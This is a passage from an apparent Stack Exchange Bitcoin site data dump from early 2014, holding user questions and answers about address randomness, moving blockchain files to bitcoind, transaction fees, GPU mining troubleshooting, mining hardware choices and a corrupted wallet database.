&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you're building a QR code, you don't need to url-encode the data.  Coinbase is only doing so because they have to request the QR code from Google through a url addressing scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I build my QR codes on my own server and display them as images on a web page, and I just use non-encoded data.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastEditorUserId="11121" LastEditDate="2014-02-04T18:26:20.103" LastActivityDate="2014-02-04T18:26:20.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21666" PostTypeId="1" AcceptedAnswerId="21673" CreationDate="2014-02-04T18:38:56.920" Score="0" ViewCount="687" Body="&lt;p&gt;Part of why Bitcoin works is that it's completely unlikely for someone to end up with the same Bitcoin address. But since Bitcoin address generation is based on pseudo-random generation it raises the question: Are pseudo-random number generation algorithms good enough to cover all possible Bitcoin addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7724/what-happens-if-your-bitcoin-client-generates-an-address-identical-to-another-pe&quot;&gt;What happens if your bitcoin client generates an address identical to another person&amp;#39;s?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And note that the Android Bitcoin wallet already had an issue with this:&#xA;&lt;a href=&quot;http://www.computerworld.com/s/article/9241647/Google_patches_Android_after_Bitcoin_wallet_issue&quot; rel=&quot;nofollow noreferrer&quot;&gt;Google patches Android after Bitcoin wallet issue&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-03-06T20:50:27.723" Title="Are pseudo-random number generation algorithms good enough to cover all possible Bitcoin addresses?" Tags="|security|address|random|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21667" PostTypeId="1" CreationDate="2014-02-04T18:54:57.030" Score="1" ViewCount="511" Body="&lt;p&gt;I have a bunch of files like blk00110.dat now that bitcoin-qt (on my mac) has finally updated. I'd like to just move this over to my linux box so I can keep it up and running but the bitcoind program uses a different structure. How can I move this data?&lt;/p&gt;&#xA;" OwnerUserId="12950" LastActivityDate="2014-06-05T21:03:03.980" Title="How can I move bitcoin-qt blockchain data to bitcoind daemon?" Tags="|bitcoind|bitcoin-core|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21668" PostTypeId="1" CreationDate="2014-02-04T18:56:08.493" Score="14" ViewCount="34150" Body="&lt;p&gt;As I understand it, by running a full node (i.e. Bitcoin-QT) , I am helping confirm transactions and contributing to the Bitcoin network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When transaction fees are offered, do I receive these, and if so, how? Or do I need to be a fully fledged miner?&lt;/p&gt;&#xA;" OwnerUserId="13101" LastEditorUserId="5406" LastEditDate="2016-04-24T09:04:05.380" LastActivityDate="2017-03-17T11:00:55.337" Title="Can I earn transaction fees by running as a full node, verifying transactions, but not mining?" Tags="|bitcoin-core|transaction-fees|nodes|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21670" PostTypeId="2" ParentId="21668" CreationDate="2014-02-04T19:15:19.583" Score="11" Body="&lt;p&gt;Nope, transaction fees of a transaction can only be collected by including it into a valid block. And to be able to include a transaction in a valid block you have to mine a valid block.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-04T19:15:19.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21671" PostTypeId="2" ParentId="21668" CreationDate="2014-02-04T19:51:44.530" Score="6" Body="&lt;p&gt;While running Bitcoin-qt it is true you are contributing to the Bitcoin network, but only in the sense that other peers can now download the blockchain using your bandwidth.  There are no transaction fees sent to anyone that is not mining.  Mining is the process which helps the network transact and thus sending balances from one account to another.  &lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-02-04T19:51:44.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21672" PostTypeId="2" ParentId="21666" CreationDate="2014-02-04T20:10:29.067" Score="1" Body="&lt;p&gt;When done correctly, yes. The &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19161/are-generated-public-private-keypair-the-most-random-possible&quot;&gt;default&lt;/a&gt; Bitcoin client uses &lt;a href=&quot;https://www.openssl.org/docs/crypto/RAND_bytes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OpenSSL's RAND_bytes&lt;/a&gt;, which...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;puts &lt;strong&gt;num&lt;/strong&gt; cryptographically strong pseudo-random bytes into &lt;strong&gt;buf&lt;/strong&gt;. An error occurs if the PRNG has not been seeded with enough randomness to ensure an unpredictable byte sequence.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Whether you'd call this a pseudo-random algorithm might be a matter of semantics, and of course some programs might use insecure algorithms, but at least Bitcoin-QT uses something that provides the full amount of randomness needed for security.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-02-04T20:16:28.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21673" PostTypeId="2" ParentId="21666" CreationDate="2014-02-04T20:11:10.110" Score="2" Body="&lt;p&gt;There are plenty of PRNG algorithms that are good enough. You just run into trouble when you, through ignorance or error, pick one that isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest adequate solution is to gather enough information, from any source and of any size, to ensure that it has at least 160 bits that are unpredictable by any attacker. You can then SHA256 hash this data. You may need to gather a large amount of data to ensure it has sufficient unpredictable bits, but that's okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make things a bit more secure by hashing many, many times or using a memory hard hashing algorithm. That way, an attacker that can guess some of your bits has to go to much more effort to try random combinations of the ones he can't predict to try to replicate your key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have access to sufficient unpredictable data, from any source, then there's not much you can do. Your security is only as good as the unpredictable input your PRNG has.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-04T20:11:10.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21674" PostTypeId="2" ParentId="21667" CreationDate="2014-02-04T20:18:06.387" Score="1" Body="&lt;p&gt;There should be a &lt;code&gt;.bitcoin&lt;/code&gt; directory once you install bitcoind on your linux box. Copying those &lt;code&gt;.dat&lt;/code&gt; files in this directory should enable bitcoind to read them directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-QT is actually using bitcoind under the hood. So it shouldn't be using different structure unless you're using different versions of bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: also reading more about &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Command-line_arguments&quot; rel=&quot;nofollow&quot;&gt;bitcoind commands&lt;/a&gt;, there's a command to import a file directly. So this should probably be better than directly placing the files in the directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoind -loadblock=&amp;lt;file&amp;gt;&lt;/code&gt;      &lt;code&gt;Imports blocks from external blk000??.dat file&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8717" LastEditorUserId="8717" LastEditDate="2014-02-04T20:33:51.693" LastActivityDate="2014-02-04T20:33:51.693" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21675" PostTypeId="2" ParentId="21662" CreationDate="2014-02-04T20:18:23.777" Score="2" Body="&lt;p&gt;The original idea of the field was to keep a hash of the contents of your wallet that you could update in the Ripple ledger. Your wallet would also contain any prior hashes of earlier versions of the wallet that you couldn't confirm had already been replaced in the ledger. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way, a malicious (or negligent) wallet provider couldn't serve you an old/obsolete version of your wallet. You just retrieve your &lt;code&gt;WalletLocator&lt;/code&gt; from the network and if that isn't either the hash of your wallet or a prior hash stored in your wallet, you know you have a newer wallet out there somewhere. This would also catch the case where you store your wallet in more than one place and retrieve it from the &quot;wrong&quot; place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the field was added, a different wallet model was used. But the field is still in the server and Ripple network in case anyone wants to use it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-04T20:18:23.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21676" PostTypeId="2" ParentId="5461" CreationDate="2014-02-04T23:08:56.850" Score="1" Body="&lt;p&gt;I'm the author of &lt;a href=&quot;https://github.com/chriswill/WalletClient&quot; rel=&quot;nofollow&quot;&gt;WalletClient.net&lt;/a&gt; and it's fairly up to date, covering most of the json-rpc commands.  It has an async model and strongly typed return objects. There's also specific support for Blockchain.info vs native Bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what you think.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-04T23:08:56.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21678" PostTypeId="1" CreationDate="2014-02-04T23:30:13.533" Score="0" ViewCount="2311" Body="&lt;p&gt;I'm specifically litecoin/scrypt mining at Multipool.us, but the web interface there is only showing about 20khash, when I obviously should be getting much more. I am using a HD 5870 (GPU 0) and HD 7850 (GPU 1) on Linux, specifically Ubuntu Server 13.10. Are my GPUs working correctly, and if not, what should I change? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; cgminer version 3.7.2 - Started: [2014-02-04 17:14:29]&#xA;--------------------------------------------------------------------------------&#xA; (5s):606.0K (avg):589.6Kh/s | A:1792  R:0  HW:37264  WU:16.3/m&#xA; ST: 5  SS: 0  NB: 84  LW: 1051  GF: 23  RF: 0&#xA; Connected to eu2.multipool.us diff 256 with stratum as user XXX&#xA; Block: 7880a600...  Diff:1.1K  Started: [18:26:10]  Best share: 8.16K&#xA;--------------------------------------------------------------------------------&#xA; [P]ool management [G]PU management [S]ettings [D]isplay options [Q]uit&#xA; GPU 0:  76.0C 2843RPM | 303.1K/295.0Kh/s | A: 768 R:0 HW:18955 WU: 4.0/m I:16&#xA; GPU 1:  76.0C 1688RPM | 303.1K/295.0Kh/s | A:1024 R:0 HW:18334 WU:12.3/m I:16&#xA;--------------------------------------------------------------------------------&#xA;&#xA; [2014-02-04 18:13:02] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:13:27] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:14:27] Stratum connection to pool 0 interrupted&#xA; [2014-02-04 18:14:28] Pool 0 difficulty changed to 512&#xA; [2014-02-04 18:14:28] Pool 0 difficulty changed to 256&#xA; [2014-02-04 18:14:43] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:15:35] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:15:48] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:16:13] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:16:39] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:16:50] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:17:10] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:17:49] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:18:45] Accepted 080863ba Diff 8.16K/256 GPU 1&#xA; [2014-02-04 18:19:49] Stratum connection to pool 0 interrupted&#xA; [2014-02-04 18:19:50] Pool 0 difficulty changed to 512&#xA; [2014-02-04 18:19:50] Pool 0 difficulty changed to 256&#xA; [2014-02-04 18:20:24] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:21:08] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:22:09] Stratum connection to pool 0 interrupted&#xA; [2014-02-04 18:22:09] Pool 0 difficulty changed to 512&#xA; [2014-02-04 18:22:09] Pool 0 difficulty changed to 256&#xA; [2014-02-04 18:22:19] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:23:02] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:23:12] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:23:25] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:23:55] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:24:18] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:24:30] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:25:32] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:25:41] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:25:55] Stratum from pool 0 detected new block&#xA; [2014-02-04 18:26:10] Stratum from pool 0 detected new block&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13109" LastEditorUserId="5406" LastEditDate="2016-04-24T08:52:24.907" LastActivityDate="2016-04-24T08:52:24.907" Title="Can someone confirm that my GPUs are working correctly?" Tags="|litecoin|linux|gpu-mining|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21680" PostTypeId="1" AcceptedAnswerId="21685" CreationDate="2014-02-05T00:00:25.110" Score="5" ViewCount="1048" Body="&lt;p&gt;This &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/1voob6/cbc_sends_bitcoin_over_the_airwaves/&quot; rel=&quot;nofollow&quot;&gt;experiment by CBC&lt;/a&gt; that used chirp over the radio to transmit a wallet seed tickled my interest. Of course this isn't secure. And it's also inconvenient to create the wallet from the seed. What's a better way to do this in a practical way? Chirp is very accessible and convenient. Shortwave radio has a decent range, some distance over the sea.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="5406" LastEditDate="2014-10-03T10:37:24.670" LastActivityDate="2014-10-03T10:37:24.670" Title="Is there an efficient and secure way to transmit bitcoins over shortwave radio?" Tags="|protocol|network|offline-transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21681" PostTypeId="2" ParentId="21678" CreationDate="2014-02-05T00:06:18.307" Score="1" Body="&lt;p&gt;Right next to HW is the number of hardware errors you are seeing.  This is an indicator that your intensity is set too high. Decrease your intensity until you stop seeing hardware errors. I usually use this link as a starting point for my configurations: &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;https://litecoin.info/Mining_hardware_comparison&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2014-02-05T00:12:57.757" LastActivityDate="2014-02-05T00:12:57.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21682" PostTypeId="2" ParentId="21410" CreationDate="2014-02-05T00:14:43.280" Score="0" Body="&lt;p&gt;I've managed to route all traffic that runs through eth0 to tun0. The tun0 interface is created by default once the VPN service starts(given that the bridging option(tan) was commented out on both the client and the server config files). &#xA;Running &lt;strong&gt;&quot;netstat -nr&quot;&lt;/strong&gt; gives the routing table. Then, all duplicate routes need to be deleted. For example if there are more than one Destination(s) pointing to the same Gateway one needs to be dropped in order for the other to work properly. Otherwise packets are sent through both gateways. In my case I had to delete the route which was pointing to my NAT and leave the one which pointed to my VPN server's address(usually 10.8.0.1 is assigned by default). In order to drop a certain route run the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo route del default gw &amp;lt;NAT internal IP, i.e. 192.168.2.1&amp;gt;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12893" LastActivityDate="2014-02-05T00:14:43.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21683" PostTypeId="1" CreationDate="2014-02-05T00:15:54.890" Score="-1" ViewCount="275" Body="&lt;p&gt;I'm trying to build Dogecoind. It goes fine but I keep getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/Users/slayter/dogecoin/src/db.h:15:10: fatal error: 'db_cxx.h' file not found&#xA;include &amp;lt;db_cxx.h&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13112" LastActivityDate="2014-06-14T07:44:17.200" Title="Trouble building Dogecoind on OS X" Tags="|dogecoin|daemon|compiling|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21685" PostTypeId="2" ParentId="21680" CreationDate="2014-02-05T01:04:51.733" Score="3" Body="&lt;p&gt;Although I am not qualified enough to suggest a protocol for over-the-air, I can still get some technical pointers. You may want to ask at the &lt;a href=&quot;https://ham.stackexchange.com/&quot;&gt;ham radio&lt;/a&gt; SE community. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes you can easily send Bitcoins over shortwave radio using encryption but radio encryption is not a topic of this community. It's also severely illegal in the U.S. for a HAM operator to use any kind of encryption when transmitting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Bitcoin network over-the-air&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I think you are asking, the Bitcoin protocol does not send private keys of bitcoins around as its main technique as this is risky and dangerous inherently. The Bitcoin protocol moves bitcoin without the need to exchange private keys of any bitcoin so it be better to just implement the network over radio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin can practically be agnostic to the protocol you are using, as long as communication is possible Bitcoin will work. There are many protocols for shortwave radio available that can move data from a transmitter to a receiver. As an interesting example, you could totally set up a node that communicated via Morse code as long as it has other nodes to talk to. You'd run into problems with bandwidth as some tx/rx modes are slow. You can possibly use a modified version of Bitcoin-qt and use the same handshakes and messaging it does over tcp/ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HAM radio community has interesting an P2P by itself which you can look into. &lt;a href=&quot;http://en.wikipedia.org/wiki/Automatic_Packet_Reporting_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;APRS&lt;/a&gt; is a packet-based network which relies on peers to rebroadcast messages, it's really cool and is readily documented and has many tutorials.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:20.927" LastActivityDate="2014-02-05T05:33:28.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21687" PostTypeId="1" AcceptedAnswerId="21692" CreationDate="2014-02-05T02:49:38.663" Score="1" ViewCount="1321" Body="&lt;p&gt;A) Which hardware&#xA;B) Which GH/s level&lt;/p&gt;&#xA;&#xA;&lt;p&gt;will be profitable for&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Pool mining&#xA;2) Solo mining&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoins as of February 2014?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to sources where information can be checked over time will be great, beyond the simple answer to the questions.&lt;/p&gt;&#xA;" OwnerUserId="13116" LastEditorUserId="2306" LastEditDate="2017-04-25T20:01:58.677" LastActivityDate="2017-04-25T20:01:58.677" Title="Entry point hardware for profitable mining" Tags="|mining-pools|mining-hardware|solo-mining|" AnswerCount="2" CommentCount="2" ClosedDate="2014-02-08T14:12:52.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="21688" PostTypeId="2" ParentId="21678" CreationDate="2014-02-05T04:20:05.537" Score="1" Body="&lt;p&gt;Take a look at the following link, there is a FAQ near the end which answers this question specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.kaostheory.net&quot; rel=&quot;nofollow&quot;&gt;http://www.kaostheory.net&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarize it up, you need to make sure there isn't any hardware (HW) errors. This means that your configuration is not set correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to look out for is work units (WU). This specifies how many hashes are actually being sent to the pool (after the rejected (R) and hardware errors).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should expect that the WU is 90% of your raw hash rate. This tells you that you have a good and stable configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="13119" LastActivityDate="2014-02-05T04:20:05.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21690" PostTypeId="2" ParentId="21656" CreationDate="2014-02-05T05:34:35.860" Score="3" Body="&lt;p&gt;I'm the founder of &lt;a href=&quot;https://github.com/cryptocoinjs&quot; rel=&quot;nofollow&quot;&gt;CryptoCoinJS&lt;/a&gt; and use the library for my own software. This is probably obvious, when scanning QR codes, check for both. When generating QR codes, for backup I'd just do the address and for payment requests, I'd use the URI scheme.&lt;/p&gt;&#xA;" OwnerUserId="3724" LastActivityDate="2014-02-05T05:34:35.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21691" PostTypeId="2" ParentId="21687" CreationDate="2014-02-05T06:35:33.290" Score="0" Body="&lt;p&gt;Buy Antminer S1s 200 GH for 1.45 BTC Ships Saturday.  Just buy a CX750 for another 90 bucks and you're set to Mine.  Genesis Block Shows Net Gain of $1100 or 1.19 BTC by August.  &lt;a href=&quot;http://thegenesisblock.com/mining/a/31ee55a871&quot; rel=&quot;nofollow&quot;&gt;http://thegenesisblock.com/mining/a/31ee55a871&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitmaintech.com/productDetail.htm?pid=00020140107162747992Ce5uBuxW06D6&quot; rel=&quot;nofollow&quot;&gt;https://bitmaintech.com/productDetail.htm?pid=00020140107162747992Ce5uBuxW06D6&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else I have found is either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) overpriced&#xA;B) delayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or more likely&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C) both&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2014-02-05T06:35:33.290" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21692" PostTypeId="2" ParentId="21687" CreationDate="2014-02-05T07:48:38.343" Score="2" Body="&lt;p&gt;Question is what kind of coin are you going to mine. If you are going to mine Bitcoin (SHA256) you will need special hardware (ASIC 28nm min) for it to be profitable. &lt;a href=&quot;https://www.kncminer.com/&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you have an excellent seller, I bought my mining equipment from them, but now they sold out their next generation devices. If you want to mine this coins you will have to risk buying ahead of time, I mean you will have to buy a device that is in development and wait like 6 months for the hardware to arrive, so you will need &lt;a href=&quot;http://btcinvest.net/en/bitcoin-mining-profit-calculator.php?diff=2621404453&amp;amp;dcosts=500&amp;amp;diff_mincrease=30&amp;amp;blpbtc=25&amp;amp;dhsmhs=860&amp;amp;diff_mincreasedecrease=3&amp;amp;btcusd=847.69&amp;amp;dpowcon=30&amp;amp;btcusd_mincrease=1&amp;amp;pcost=0.25&amp;amp;calcweeks=32&amp;amp;dleadtime=0&amp;amp;action=calc&quot; rel=&quot;nofollow&quot;&gt;this calculator&lt;/a&gt; to make a preview of what your profits will be. Actually there are many other sellers (Butterfly Labs -which I do not recommend-, Cointerra, make your own search in google, but KNC for me is the most trusted one). &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; you have a comparison of mining devices for Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you plan to mine Litecoin (Scrypt) you will be able to do that with GPUs, you have a mining hardware comparison &lt;a href=&quot;https://litecoin.info/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will first need to decide which coin are you going to mine and what kind of ecryption are you going to be solving (SHA256, Scrypt). You will need to consider what kind of risk you want to take, for instance, if you mine Bitcoins you know it is the safest bet with an actual price of 803$ and having reached 1150$ per coin it is cryptocoin that is being accepted in stores right now therefore it has a possible great future. On the other hand, mining this coin has become difficult and a considerable investment and risk is needed to aquire the hardware needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you choose a coin which has recently started, it will be easier to mine those coins, but it won't be profitable (if you think that coin could gain value in the future then it may end being profitable, who knows).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally it is up to you to read and choose where you want to enter and what amount of money you want to risk.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-02-05T07:48:38.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21694" PostTypeId="2" ParentId="21206" CreationDate="2014-02-05T09:41:56.940" Score="0" Body="&lt;p&gt;No. increase the block size to 384KB does not help scrypt algorithm. Litecoin with scrypt parameters N=1024, R=P=1, that only requires 128KB memory space for single one compuation. And they are already fully aligned, not sparse array. Modeling small data in larger memory space means poor locality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to speedup scrypt is parallelism, because the mining process is to find a valid nonce among the very large solution space. So if the memory is the bottleneck, CPU needs to wait for the completion of memory read/write operations before continue current hashing computation, but in fact, CPU's ALU (or compute units) can keep going and executing other instructions of other hashing computation threads which do not require memory access or whose data has ready now. That's the key to introduce SIMD. So CPU AVX performance is better than SSE/MMX, and newer AVX-2 can achieve better performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In GPU, there are many computation units, it does not like CPU only has 2/4/8/... cores. GPU has many streaming processors and scheduling hardware. When a computation is waiting for the completion of GDDR VRAM access, it can schedule the ALU hardware to do other computations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, current GPU mining has the best memory block size configuration per one scrypt hashing, the lookup-gap is 2. It means only 64KB per one scrypt operation. Because in CPU or GPU, accessing the global memory is very expansive, and scrypt does not have fully linear memory access pattern. (it accesses vectorized data among index 1 to 1024 randomly). So fewer memory access can also speedup the total computation time, but the overhead is that GPU needs to compute data that did not save to memory before.&#xA;For example, GPU computes vectorized data from 1 to 1024, but only saves 1,3,5,7,... So when scrypt algorithm needs data of index=4, GPU needs to retrieve data of index=3 and re-compute to gain the data for index=4. But the computation for index=4 in private memory (GPRs, General Purpose Registers, GPU has plenty of them) is very fast.&#xA;But the performance does not always get improved by increasing the look-up gap. Although the memory access are significantly reduced, but GPU needs to do redundant job to re-compute the data frequently. For example, when look-up gap = 3, GPU only saves 1,4,7,... But when scrypt needs data of index=6, it needs to retrieve data of index=4 and do the computation twice.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastActivityDate="2014-02-05T09:41:56.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21695" PostTypeId="1" CreationDate="2014-02-05T09:55:49.330" Score="0" ViewCount="5943" Body="&lt;p&gt;I have started mining using an nvidia gtx 670m GPU. I have compiled cudaminer and started mining on the slush pool. However, during mining I always get results similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;accepted: 0/X (0.00%), xx.xx khash/s (booo)&#xA;accepted: 0/X (0.00%), xx.xx khash/s (booo)&#xA;accepted: 0/X (0.00%), xx.xx khash/s (booo)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where X is an increasing counter and xx.xx is the hash rate(usually between 75.00 and 100.00 khash/s). Is this related to networking, more specifically port forwarding? I am asking because the bitcoin-qt client managed to synchronize with the network.&lt;/p&gt;&#xA;" OwnerUserId="12893" LastEditorUserId="5406" LastEditDate="2016-04-25T20:39:08.343" LastActivityDate="2016-04-25T20:39:08.343" Title="Mining bitcoin using cudaminer?" Tags="|mining-pools|miner-configuration|gpu|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21697" PostTypeId="1" CreationDate="2014-02-05T11:10:51.213" Score="0" ViewCount="214" Body="&lt;p&gt;I'm using the Bitcoin Wallet Client and I've noticed that you could create as many addresses as you want. But I also noticed that there's only 1 Total Amount for the wallet. So does that mean that you could have multiple addresses, but all of that points to same single wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More:&#xA;And so, if my wallet contains several addresses, when I would like to send coins to another address of another person, do I need to create another address to send the coins? Or do I need to send coins one by one from each address? Or could I just send from one address since all of the addresses are in the same wallet?&lt;/p&gt;&#xA;" OwnerUserId="10957" LastEditorUserId="10957" LastEditDate="2014-02-06T02:41:32.603" LastActivityDate="2014-02-06T08:51:14.233" Title="Are the addresses in my Wallet client considered to be all as only 1 account or wallet?" Tags="|wallet|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21698" PostTypeId="1" CreationDate="2014-02-05T11:23:36.983" Score="8" ViewCount="6077" Body="&lt;p&gt;I'm on &lt;a href=&quot;https://cryptocointalk.com/topic/2432-binarycoin-bic-information/&quot; rel=&quot;noreferrer&quot;&gt;binarycoin&lt;/a&gt; now, with solo mining. Luck smile to me. I'm found 5 blocks. It is 100.0 binarycoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use &quot;aggressive&quot; speed-up, my daemon compiled with &lt;code&gt;-O3&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After last block I caught crash of daemon. And fails of relaunching with err: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Database environment corrupt; the wrong log files may have been removed or incompatible database files imported from another environment &#xA;PANIC: DB_RUNRECOVERY: Fatal error, run database recovery &#xA;wallet.dat: unable to flush page: 19 &#xA;txn_checkpoint: failed to flush the buffer cache: DB_RUNRECOVERY: Fatal error, run database recovery &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I'm redownload the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-rescan&lt;/code&gt; doesn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm shutdown the network, clean everything in the .binarycoin/* except &lt;code&gt;wallet.dat&lt;/code&gt; and 